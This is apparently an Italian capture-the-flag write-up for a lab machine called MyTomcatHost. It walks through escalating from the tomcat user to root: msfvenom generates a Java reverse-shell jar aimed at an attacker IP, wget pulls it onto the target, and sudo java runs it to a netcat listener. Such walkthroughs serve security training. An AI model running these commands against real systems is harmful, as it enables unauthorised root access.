HackingLab – MyTomcatHost

Con Python modifichiamo la shell ed otteniamo una shell bash con il comando python -c ‘import pty;pty.spawn(“/bin/bash”)’.
Siamo loggati sulla Macchina Target come tomcat ed apparteniamo al gruppo tomcat.

Verifichiamo i privilegi con sudo -l per scoprire che possiamo eseguire senza password e con privilegi di root applicazioni Java.

Decidiamo di utilizzare msfvenom per generare un payload da eseguire attraverso Tomcat; per prima cosa vediamo quali sono i payload JAVA a nostra disposizione con il comando msfvenom –list payloads. Il payload che fa al nostro caso è java/jsp_shell_reverse_tcp che effettua una chiamata verso la nostra Macchina Attaccante aprendo una shell; di seguito tutti i payloads disponibili.

java/jsp_shell_bind_tcp Listen for a connection and spawn a command shell
java/jsp_shell_reverse_tcp Connect back to attacker and spawn a command shell
java/meterpreter/bind_tcp Run a meterpreter server in Java. Listen for a connection
java/meterpreter/reverse_http Run a meterpreter server in Java. Tunnel communication over HTTP
java/meterpreter/reverse_https Run a meterpreter server in Java. Tunnel communication over HTTPS
java/meterpreter/reverse_tcp Run a meterpreter server in Java. Connect back stager
java/shell/bind_tcp Spawn a piped command shell (cmd.exe on Windows, /bin/sh everywhere else). Listen for a connection
java/shell/reverse_tcp Spawn a piped command shell (cmd.exe on Windows, /bin/sh everywhere else). Connect back stager
java/shell_reverse_tcp Connect back to attacker and spawn a command shell

Usiamo quindi msfvenom con il comando msfvenom -p java/shell_reverse_tcp LHOST=192.168.188.53 LPORT=4456 -f jar > exploit.jar
Cambiamo i privilegi di exploit.jar in modo che sia eseguibile.

Apriamo una connessione sulla Macchina Attaccante sulla porta 4456 con il comando nc -lvp 4456 e ci mettiamo in ascolto.

Per trasferire il payload sulla Macchina Target utilizziamo Python per aprire un server http sulla porta 8000 con il comando python -m SimpleHTTPServer 8000. E’ importante lanciare l’HTTP Server dalla stessa cartella dove è stato generato il payload.

Sulla Macchina Target ci posizioniamo sulla directory /tmp per non avere problemi di scrittura e con il comando wget 192.168.188.53:8000/exploit.jar scarichiamo il payload.

Eseguiamo il payload con il comando sudo java -jar exploit.jar e vediamo che è stata aperta una shell sul terminale dove ci siamo messi in ascolto sulla porta 4456; con il comando python -c ‘import pty;pty.spawn(“/bin/bash”)’.

Accediamo alla directory /root alla ricerca del file proof.txt e lo visualizziamo con il comando strings proof.txt.

Leave a Reply

Your email address will not be published. Required fields are marked *